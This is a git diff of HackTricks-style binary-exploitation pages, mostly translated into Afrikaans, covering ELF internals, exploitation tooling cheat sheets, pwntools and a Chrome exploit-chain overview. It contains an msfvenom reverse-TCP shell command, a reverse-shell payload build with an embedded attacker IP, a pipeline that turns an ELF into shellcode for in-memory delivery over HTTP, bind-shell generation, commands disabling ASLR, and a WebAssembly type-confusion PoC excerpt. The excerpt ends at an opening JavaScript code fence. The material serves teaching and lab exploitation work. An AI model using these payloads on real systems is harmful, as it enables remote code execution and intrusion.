+- -fno-plt laat die compiler external functions direk deur die **GOT-entry** aanroep in plaas daarvan om deur die PLT-stub te gaan. Jy sal call-sequences soos mov reg, [got]; call reg sien in plaas van call func@plt. Dit verminder speculative-execution abuse en verander ROP-gadget hunting rondom PLT-stubs effens.
+
+- PIE teenoor static-PIE: PIE (ET_DYN met INTERP) benodig die dynamic loader en ondersteun die gewone PLT/GOT-meganisme. Static-PIE (ET_DYN sonder INTERP) het relocations wat deur die kernel loader toegepas word en geen ld.so nie; verwag dus geen PLT-resolution tydens runtime nie.
+
+> As GOT/PLT nie 'n opsie is nie, pivot na ander skryfbare code-pointers of gebruik klassieke ROP/SROP na libc.
+
+
+{{#ref}}
+../arbitrary-write-2-exec/aw2exec-got-plt.md
+{{#endref}}
+
+## Programinitialisering
+
+Nadat die program gelaai is, is dit tyd dat dit uitgevoer word. Die eerste kode wat uitgevoer word, i**s nie altyd die `main`**-funksie nie. Dit is byvoorbeeld omdat 'n **global variable in C++ 'n object van 'n class is**; hierdie object moet **geïnisialiseer** word **voordat** main uitgevoer word, soos in:
```cpp
#include
// g++ autoinit.cpp -o autoinit
class AutoInit {
- public:
- AutoInit() {
- printf("Hello AutoInit!\n");
- }
- ~AutoInit() {
- printf("Goodbye AutoInit!\n");
- }
+public:
+AutoInit() {
+printf("Hello AutoInit!\n");
+}
+~AutoInit() {
+printf("Goodbye AutoInit!\n");
+}
};
AutoInit autoInit;
int main() {
- printf("Main\n");
- return 0;
+printf("Main\n");
+return 0;
}
```
+Let daarop dat hierdie globale veranderlikes in `.data` of `.bss` geleë is, maar in die lyste `__CTOR_LIST__` en `__DTOR_LIST__` word die objekte wat geïnisialiseer en vernietig moet word, gestoor om tred daarmee te hou.
-Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
-
-From C code it's possible to obtain the same result using the GNU extensions :
-
+Vanuit C-kode is dit moontlik om dieselfde resultaat met die GNU-uitbreidings te verkry:
```c
-__attributte__((constructor)) //Add a constructor to execute before
-__attributte__((destructor)) //Add to the destructor list
+__attribute__((constructor)) //Add a constructor to execute before
+__attribute__((destructor)) //Add to the destructor list
```
+Vanuit ’n compiler-perspektief is dit moontlik om ’n `init`-funksie en ’n `fini`-funksie te skep wat in die dynamic section as **`INIT`** en **`FINI`** verwys word om hierdie aksies voor en ná die uitvoering van die `main`-funksie uit te voer. Hulle word in die `init`- en `fini`-sections van die ELF geplaas.
+
+Die ander opsie, soos genoem, is om na die lyste **`__CTOR_LIST__`** en **`__DTOR_LIST__`** te verwys in die **`INIT_ARRAY`**- en **`FINI_ARRAY`**-entries in die dynamic section. Die lengte daarvan word deur **`INIT_ARRAYSZ`** en **`FINI_ARRAYSZ`** aangedui. Elke entry is ’n function pointer wat sonder argumente geroep sal word.
+
+Daarbenewens is dit ook moontlik om ’n **`PREINIT_ARRAY`** met **pointers** te hê wat uitgevoer sal word **voor** die **`INIT_ARRAY`**-pointers.
-From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
+#### Exploitation note
-The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
+- Onder Partial RELRO leef hierdie arrays in pages wat steeds writable is voordat `ld.so` `PT_GNU_RELRO` na read-only verander. As jy vroeg genoeg ’n arbitrary write kry, of ’n library se writable arrays kan teiken, kan jy control flow hijack deur ’n entry met ’n funksie van jou keuse te oorskryf. Onder Full RELRO is hulle tydens runtime read-only.
-Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
+- Vir lazy binding abuse van die dynamic linker om arbitrary symbols tydens runtime op te los, sien die toegewyde page:
-### Initialization Order
-1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
-2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
-3. **`PREINIT_ARRAY`** functions are executed.
-4. **`INIT_ARRAY`** functions are executed.
-5. If there is a **`INIT`** entry it's called.
-6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
+{{#ref}}
+../rop-return-oriented-programing/ret2dlresolve.md
+{{#endref}}
+
+### Inisialiseringsvolgorde
+
+1. Die program word in memory gelaai, static global variables word in **`.data`** geïnitialiseer, en ongeïnitialiseerde variables word in **`.bss`** na nul gestel.
+2. Alle **dependencies** vir die program of libraries word **geïnitialiseer**, en **dynamic linking** word uitgevoer.
+3. **`PREINIT_ARRAY`**-funksies word uitgevoer.
+4. **`INIT_ARRAY`**-funksies word uitgevoer.
+5. As daar ’n **`INIT`**-entry is, word dit geroep.
+6. As dit ’n library is, eindig `dlopen` hier; as dit ’n program is, is dit tyd om die **werklike entry point** (`main`-funksie) te roep.
## Thread-Local Storage (TLS)
-They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
+Hulle word gedefinieer deur die sleutelwoord **`__thread_local`** in C++ of die GNU-uitbreiding **`__thread`** te gebruik.
+
+Elke thread handhaaf ’n unieke location vir hierdie variable, sodat slegs die thread toegang tot sy variable het.
+
+Wanneer dit gebruik word, word die sections **`.tdata`** en **`.tbss`** in die ELF gebruik. Hulle is soos `.data` (geïnitialiseer) en `.bss` (nie geïnitialiseer nie), maar vir TLS.
+
+Elke variable het ’n entry in die TLS-header wat die grootte en TLS-offset daarvan binne die thread se local data area spesifiseer.
+
+Die `__TLS_MODULE_BASE` is ’n simbool wat gebruik word om na die basisadres van die thread local storage te verwys en wys na die area in memory wat al die thread-local data van ’n module bevat.
-Each thread will maintain a unique location for this variable so only the thread can access its variable.
+## Auxiliary Vector (auxv) en vDSO
-When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
+Die Linux-kernel stuur ’n auxiliary vector aan prosesse, wat nuttige adresse en flags vir die runtime bevat:[[4]](#references)
-Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
+- `AT_RANDOM`: wys na 16 random bytes wat deur glibc vir die stack canary en ander PRNG-seeds gebruik word.
+- `AT_SYSINFO_EHDR`: basisadres van die vDSO-mapping (handig om `__kernel_*`-syscalls en gadgets te vind).
+- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, ens.
+
+As aanvaller, indien jy memory of files onder `/proc` kan lees, kan jy hierdie dikwels leak sonder ’n infoleak in die teikenproses:
+```bash
+# Show the auxv of a running process
+cat /proc/$(pidof target)/auxv | xxd
+
+# From your own process (helper snippet)
+#include
+#include
+int main(){
+printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
+printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
+}
+```
+Leaking `AT_RANDOM` gee jou die canary value as jy daardie pointer kan dereference; `AT_SYSINFO_EHDR` gee jou ’n vDSO base om vir gadgets te soek of om vinnige syscalls direk aan te roep.
-The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
+## References
+- [1] [GCC Common Function Attributes (ifunc / STT_GNU_IFUNC)](https://gcc.gnu.org/onlinedocs/gcc-14.3.0/gcc/Common-Function-Attributes.html)
+- [2] [GNU ld `-z pack-relative-relocs` / `DT_RELR` documentation](https://sourceware.org/binutils/docs/ld.html)
+- [3] [ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE)](https://man7.org/linux/man-pages/man8/ld.so.8.html)
+- [4] [getauxval(3) – Auxiliary vector and AT_* constants](https://man7.org/linux/man-pages/man3/getauxval.3.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
index 70aa57cc543..e187780e9bf 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
@@ -4,6 +4,7 @@
## Metasploit
+Metasploit verskaf helpers vir cyclic-patterns, nutsprogramme vir opcode-search, en `msfvenom` vir die generering van payloads in formate wat geskik is vir exploit development.[[1]](#references)
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@@ -11,31 +12,25 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-
### Shellcodes
-
```bash
-msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
+msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
-
## GDB
-### Install
+GDB kan 'n proses begin of daaraan koppel, uitvoering beheer, geheue en registers inspekteer, en programtoestand tydens debugging wysig.[[2]](#references)
+### Installeer
```bash
apt-get install gdb
```
-
### Parameters
-
```bash
--q # No show banner
+-q # Do not show the banner
-x # Auto-execute GDB instructions from here
-p # Attach to process
```
-
-### Instructions
-
+### Instruksies
```bash
run # Execute
start # Start and break in main
@@ -49,7 +44,7 @@ quit # exit
# Disassemble
disassemble main # Disassemble the function called main
-disassemble 0x12345678 # Disassemble taht address
+disassemble 0x12345678 # Disassemble that address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
@@ -61,13 +56,13 @@ del # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
-info functions --> Info abount functions
-info functions func --> Info of the funtion
+info functions --> Information about functions
+info functions func --> Information about matching functions
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
-print 0x87654321 - 0x12345678 # Caculate
+print 0x87654321 - 0x12345678 # Calculate
# x/examine
examine/ dir_mem/reg/puntero # Shows content of in where each entry is a
@@ -81,11 +76,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
-
### [GEF](https://github.com/hugsy/gef)
-You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
-
+Jy kan opsioneel [hierdie GEF-fork](https://github.com/bata24/gef) gebruik, wat bykomende commands insluit.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@@ -94,7 +87,7 @@ p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo # Shows page, size, perms, memory area and offset of the addr in the page
-memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
+memory watch 0x784000 0x1000 byte # Add a persistent view of this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
@@ -115,37 +108,35 @@ shellcode get 61 #Download shellcode number 61
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
-1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
+1- Put a breakpoint after the function that overwrites RIP and send a pattern that reaches it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
- rip = 0x400cd3; saved rip = 0x6261617762616176
- called by frame at 0x7fffffffddd8
- Arglist at 0x7fffffffdcf8, args:
- Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
- Saved registers:
- rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
+rip = 0x400cd3; saved rip = 0x6261617762616176
+called by frame at 0x7fffffffddd8
+Arglist at 0x7fffffffdcf8, args:
+Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
+Saved registers:
+rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
+### Truuks
-### Tricks
+#### GDB dieselfde adresse
-#### GDB same addresses
-
-While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
+Terwyl jy debug, sal GDB **effens ander adresse hê as dié wat deur die binary gebruik word wanneer dit uitgevoer word.** Jy kan GDB dieselfde adresse laat gebruik deur die volgende te doen:
- `unset env LINES`
- `unset env COLUMNS`
-- `set env _=` _Put the absolute path to the binary_
-- Exploit the binary using the same absolute route
-- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
-
-#### Backtrace to find functions called
+- `set env _=` _Plaas die absolute pad na die binary_
+- Exploit die binary met dieselfde absolute roete
+- `PWD` en `OLDPWD` moet dieselfde wees wanneer GDB gebruik word en wanneer die binary geëxploiteer word
-When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
-You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
+#### Backtrace om funksies te vind
+In ’n **statically linked binary** behoort alle funksies aan die binary eerder as aan eksterne libraries. Dit kan dit moeilik maak om die call flow te identifiseer wat uiteindelik vir user input vra.\
+Run die binary met **GDB** totdat dit vir input vra, onderbreek dit met **Ctrl+C**, en gebruik **`bt`** (**backtrace**) om die aktiewe call chain te sien:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -154,88 +145,99 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
-
### GDB server
-`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
+`gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute path van die executable op die Linux-masjien en op die Windows-masjien invul)
## Ghidra
-### Find stack offset
+Ghidra se disassembler en decompiler stel stack-variable-uitlegte bloot wat help om die afstand van ’n kwesbare plaaslike buffer tot gestoorde frame-data te bereken.[[3]](#references)
-**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
-For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
-NAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
+### Vind stack offset
-.png>)
+**Ghidra** is nuttig om ’n **buffer-overflow offset** vanaf die posisies van plaaslike veranderlikes te vind. In die voorbeeld hieronder het ’n overflow wat by `local_bc` begin, die volgende relevante afstande:
-## qtool
+- `0xac` bytes tot by `local_10`, indien daardie veranderlike die stack canary is.
+- `0xbc` bytes tot by die frame base en gestoorde RBP in ’n konvensionele x86-64-frame.
+- `0xc4` bytes tot by die gestoorde RIP: `0xbc` bytes tot by gestoorde RBP plus sy agt-byte (`0x08`) slot.
+
+Bevestig die presiese compiler-gegenereerde frame in die disassembly, omdat frame-pointer omission of ’n ander prologue hierdie uitleg verander.
+.png>)
+
+## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
-
-Get every opcode executed in the program.
+Kry elke opcode wat in die program uitgevoer word.
## GCC
-**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
-NAN;**-o** --> Output\
-NAN;**-g** --> Save code (GDB will be able to see it)\
-**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
+Hierdie compiler- en linker-opsies skep doelbewus onbeskermde lab binaries. Gebruik hulle slegs in ’n geïsoleerde oefenomgewing; GCC dokumenteer die compiler-kant-opsies in sy opsie-indeks.[[4]](#references)
-**To compile a shellcode:**\
-**nasm -f elf assembly.asm** --> return a ".o"\
+**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile sonder protections\
+**-o** --> Uitvoer\
+**-g** --> Stoor kode (GDB sal dit kan sien)\
+**echo 0 > /proc/sys/kernel/randomize_va_space** --> Deaktiveer ASLR op Linux
+
+**Om shellcode te compileer:**\
+**nasm -f elf assembly.asm** --> gee ’n ".o" terug\
**ld assembly.o -o shellcodeout** --> Executable
## Objdump
-**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
-NAN;**-Mintel** --> **Intel** syntax\
-NAN;**-t** --> **Symbols** table\
-NAN;**-D** --> **Disassemble all** (address of static variable)\
-NAN;**-s -j .dtors** --> dtors section\
-NAN;**-s -j .got** --> got section\
--D -s -j .plt --> **plt** section **decompiled**\
-NAN;**-TR** --> **Relocations**\
-**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
-**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
+GNU `objdump` vertoon object-file headers, symbols, relocations, section-inhoud en disassembly; die opsies hieronder kies daardie aansigte.[[5]](#references)
+
+**-d** --> **Disassemble executable** sections (sien opcodes van ’n gecompileerde shellcode, vind ROP Gadgets, vind function address...)\
+**-Mintel** --> **Intel** syntax\
+**-t** --> **Symbols**-tabel\
+**-D** --> **Disassemble all** (address van statiese veranderlike)\
+**-s -j .dtors** --> dtors-section\
+**-s -j .got** --> got-section\
+-D -s -j .plt --> **plt**-section **decompiled**\
+**-TR** --> **Relocations**\
+**objdump -t --dynamic-reloc ./exec | grep puts** --> Address van `puts` om in die GOT te wysig\
+**objdump -D ./exec | grep "VAR_NAME"** --> Address van ’n statiese veranderlike (hulle word in die DATA-section gestoor).
## Core dumps
-1. Run `ulimit -c unlimited` before starting my program
+1. Run `ulimit -c unlimited` voordat my program begin word
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
## More
-**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
-
-**strace executable** --> Functions called by the executable\
-**rabin2 -i ejecutable -->** Address of all the functions
+**ldd executable | grep libc.so.6** --> Address (indien ASLR geaktiveer is, verander dit elke keer)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop om waar te neem hoeveel die address verander\
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh"
-## **Inmunity debugger**
+**strace executable** --> Functions wat deur die executable geroep word\
+**rabin2 -i executable** --> Addresses van imported functions
+## **Immunity Debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
-!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
+!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes inside the DLL (JMP ESP)
```
-
## IDA
-### Debugging in remote linux
-
-Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
+### Ontfouting in afgeleë Linux
+IDA sluit afstandsontfoutingsbedieners vir ondersteunde platforms in. Kopieer `linux_server` of `linux_server64` na die Linux-teiken en voer dit uit vanaf die gids wat die program bevat wat ontfout word.[[6]](#references)
```
./linux_server64 -Ppass
```
+Stel dan **Debugger → Remote Linux debugger → Process options** op:
-Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
+.png>)
-.png>)
+## References
+- [1] [Metasploit-dokumentasie - Hoe om `msfvenom` te gebruik](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)
+- [2] [GNU GDB-handleiding](https://sourceware.org/gdb/current/onlinedocs/gdb)
+- [3] [NSA - Ghidra-sagteware-raamwerk vir reverse engineering](https://github.com/NationalSecurityAgency/ghidra)
+- [4] [GCC-opsie-indeks](https://gcc.gnu.org/onlinedocs/gcc/Option-Index.html)
+- [5] [GNU Binutils - `objdump`](https://sourceware.org/binutils/docs/binutils/objdump.html)
+- [6] [Hex-Rays - Afgeleë ontfouting met IDA](https://docs.hex-rays.com/user-guide/debugger/remote-debugging)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
index 6175aeaa20a..2b84e3c7b10 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
@@ -1,176 +1,180 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
-
```
pip3 install pwntools
```
-
## Pwn asm
-Get **opcodes** from line or file.
-
+Kry **opcodes** vanaf ’n reël of lêer.
```
pwn asm "jmp esp"
pwn asm -i
```
+**Kan kies:**
-**Can select:**
-
-- output type (raw,hex,string,elf)
-- output file context (16,32,64,linux,windows...)
-- avoid bytes (new lines, null, a list)
-- select encoder debug shellcode using gdb run the output
+- uitvoertipe (raw, hex, string, elf)
+- uitvoerlêerkonteks (16,32,64,linux,windows...)
+- vermy bytes (nuwe lyne, null, ’n lys)
+- kies encoder, debug shellcode met gdb, voer die uitvoer uit
## **Pwn checksec**
-Checksec script
-
+Checksec-skrip
```
pwn checksec
```
-
## Pwn constgrep
## Pwn cyclic
-Get a pattern
-
+Kry 'n patroon
```
pwn cyclic 3000
pwn cyclic -l faad
```
+**Kan kies:**
-**Can select:**
-
-- The used alphabet (lowercase chars by default)
-- Length of uniq pattern (default 4)
+- Die gebruikte alfabet (kleinletters by verstek)
+- Lengte van die unieke pattern (4 by verstek)
- context (16,32,64,linux,windows...)
-- Take the offset (-l)
+- Neem die offset (-l)
## Pwn debug
-Attach GDB to a process
-
+Koppel GDB aan 'n proses
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
+**Kan kies:**
-**Can select:**
-
-- By executable, by name or by pid context (16,32,64,linux,windows...)
-- gdbscript to execute
+- Volgens executable, volgens name of volgens pid context (16,32,64,linux,windows...)
+- gdbscript om uit te voer
- sysrootpath
## Pwn disablenx
-Disable nx of a binary
-
+Skakel nx van 'n binary af
```
pwn disablenx
```
-
## Pwn disasm
Disas hex opcodes
-
```
pwn disasm ffe4
```
+**Kan kies:**
-**Can select:**
-
-- context (16,32,64,linux,windows...)
-- base addres
-- color(default)/no color
+- konteks (16,32,64,linux,windows...)
+- basisadres
+- kleur (verstek)/geen kleur
## Pwn elfdiff
-Print differences between 2 files
-
+Druk verskille tussen 2 lêers
```
pwn elfdiff
```
-
## Pwn hex
-Get hexadecimal representation
-
+Kry heksadesimale voorstelling
```bash
pwn hex hola #Get hex of "hola" ascii
```
-
## Pwn phd
-Get hexdump
-
+Kry hexdump
```
pwn phd
```
+**Kan kies:**
-**Can select:**
-
-- Number of bytes to show
-- Number of bytes per line highlight byte
-- Skip bytes at beginning
+- Aantal bytes om te wys
+- Aantal bytes per reël om byte uit te lig
+- Slaan bytes aan die begin oor
## Pwn pwnstrip
-## Pwn scrable
+## Pwn scramble
## Pwn shellcraft
-Get shellcodes
-
+Kry shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
-pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
+pwn shellcraft -r amd64.linux.bindsh 9095 #Bind SH to port
```
+**Kan kies:**
-**Can select:**
-
-- shellcode and arguments for the shellcode
-- Out file
-- output format
-- debug (attach dbg to shellcode)
-- before (debug trap before code)
+- shellcode en argumente vir die shellcode
+- Uit-lêer
+- uitvoerformaat
+- debug (heg dbg aan shellcode)
+- before (debug trap voor code)
- after
-- avoid using opcodes (default: not null and new line)
-- Run the shellcode
-- Color/no color
-- list syscalls
-- list possible shellcodes
-- Generate ELF as a shared library
+- vermy die gebruik van opcodes (verstek: nie null en nuwe reël nie)
+- Voer die shellcode uit
+- Kleur/geen kleur
+- lys syscalls
+- lys moontlike shellcodes
+- Genereer ELF as 'n shared library
## Pwn template
-Get a python template
-
+Kry 'n python template
```
pwn template
```
-
-**Can select:** host, port, user, pass, path and quiet
+**Kan kies:** host, port, user, pass, path en quiet
## Pwn unhex
-From hex to string
-
+Van hex na string
```
pwn unhex 686f6c61
```
+## Pwn-opdatering
-## Pwn update
-
-To update pwntools
-
+Om pwntools op te dateer
```
pwn update
```
+## ELF → raw shellcode packaging (loader_append)
+Pwntools se `loader_append` kan ’n ELF aan loader-shellcode toevoeg wat die ingebedde ELF karteer en uitvoering daaraan oordra. Dit is nuttig vir beheerde navorsing oor memory-loaders, maar architecture, ABI, executable-memory policy, relocations en beperkings van die teikenproses bly steeds van toepassing.[[1]](#references)[[2]](#references)
+
+Tipiese pyplyn (amd64-voorbeeld)
+
+1) Bou ’n static, position-independent payload ELF (musl word aanbeveel vir portability):
+```bash
+musl-gcc -O3 -s -static -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+2) Skakel ELF → shellcode om met pwntools:
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
+```
+3) Lewer sc aan ’n memory loader (bv. via HTTP[S]) en voer dit in-proses uit.
+
+Notes
+- loader_append embed die oorspronklike ELF-program in die shellcode en genereer ’n klein loader wat die segmente mmap en na die entry spring.[[1]](#references)
+- Wees eksplisiet oor die architecture via context.clear(arch=...). arm64 is algemeen op Android.
+- Hou jou payload se code position-independent en vermy aannames oor proses-ASLR/NX.
+
+## References
+
+- [1] [Pwntools-dokumentasie](https://docs.pwntools.com/en/stable/)
+- [2] [CoRPhone – ELF→shellcode-pypely wat vir Android se in-memory execution gebruik word](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md
new file mode 100644
index 00000000000..f9ed3ea3b88
--- /dev/null
+++ b/src/binary-exploitation/chrome-exploiting.md
@@ -0,0 +1,185 @@
+# Chrome Exploiting
+
+{{#include ../banners/hacktricks-training.md}}
+
+> Hierdie bladsy bied 'n hoëvlak, maar **praktiese** oorsig van 'n moderne "full-chain"-exploitation workflow teen Google Chrome 130, gebaseer op die navorsingsreeks **“101 Chrome Exploitation”** (Part-0 — Preface).[[1]](#references)
+> Die doel is om pentesters en exploit-developers die minimum agtergrond te gee wat nodig is om die tegnieke vir hul eie navorsing te reproduseer of aan te pas.
+
+## 1. Oorsig van Chrome se argitektuur
+Om die attack surface te verstaan, moet jy weet waar kode uitgevoer word en watter sandboxes van toepassing is.[[2]](#references)
+
+
+Chrome se process- en sandbox-uitleg
+```text
++-------------------------------------------------------------------------+
+| Chrome Browser |
+| |
+| +----------------------------+ +-----------------------------+ |
+| | Renderer Process | | Browser/main Process | |
+| | [No direct OS access] | | [OS access] | |
+| | +----------------------+ | | | |
+| | | V8 Sandbox | | | | |
+| | | [JavaScript / Wasm] | | | | |
+| | +----------------------+ | | | |
+| +----------------------------+ +-----------------------------+ |
+| | IPC/Mojo | |
+| V | |
+| +----------------------------+ | |
+| | GPU Process | | |
+| | [Restricted OS access] | | |
+| +----------------------------+ | |
++-------------------------------------------------------------------------+
+```
+
+
+Gelaagde defence-in-depth:[[2]](#references)
+
+* **V8 sandbox** (Isolate): geheuetoestemmings word beperk om arbitrêre lees/skryf vanaf JITed JS / Wasm te voorkom.
+* Die **Renderer ↔ Browser**-skeiding word deur **Mojo/IPC**-boodskapoordrag verseker; die renderer het *geen* native FS/network-toegang nie.
+* **OS sandboxes** beperk elke proses verder (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
+
+’n *Remote* aanvaller benodig dus **drie** opeenvolgende primitives:[[1]](#references)
+
+1. Memory corruption binne V8 om **arbitrary RW binne die V8 heap** te verkry.
+2. ’n Tweede bug wat die aanvaller toelaat om die **V8 sandbox na volledige renderer memory te ontsnap**.
+3. ’n Finale sandbox-escape (dikwels logic eerder as memory corruption) om code **buite die Chrome OS sandbox** uit te voer.
+
+---
+
+## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
+
+’n Fout in TurboFan se **Turboshaft**-optimisation klassifiseer **WasmGC reference types** verkeerd wanneer die waarde binne ’n *single basic block loop* geproduseer en verbruik word.[[1]](#references)
+
+Effek:
+* Die compiler **slaan die type-check oor** en behandel ’n *reference* (`externref/anyref`) as ’n *int64*.
+* Crafted Wasm laat toe dat ’n JS object header met attacker-controlled data oorvleuel → addrOf() & fakeObj() **AAW / AAR primitives**.
+
+Minimal PoC (excerpt):
+```WebAssembly
+(module
+(type $t0 (func (param externref) (result externref)))
+(func $f (param $p externref) (result externref)
+(local $l externref)
+block $exit
+loop $loop
+local.get $p ;; value with real ref-type
+;; compiler incorrectly re-uses it as int64 in the same block
+br_if $exit ;; exit condition keeps us single-block
+br $loop
+end
+end)
+(export "f" (func $f)))
+```
+Optimalisering van trigger & spray objects vanaf JS:
+```js
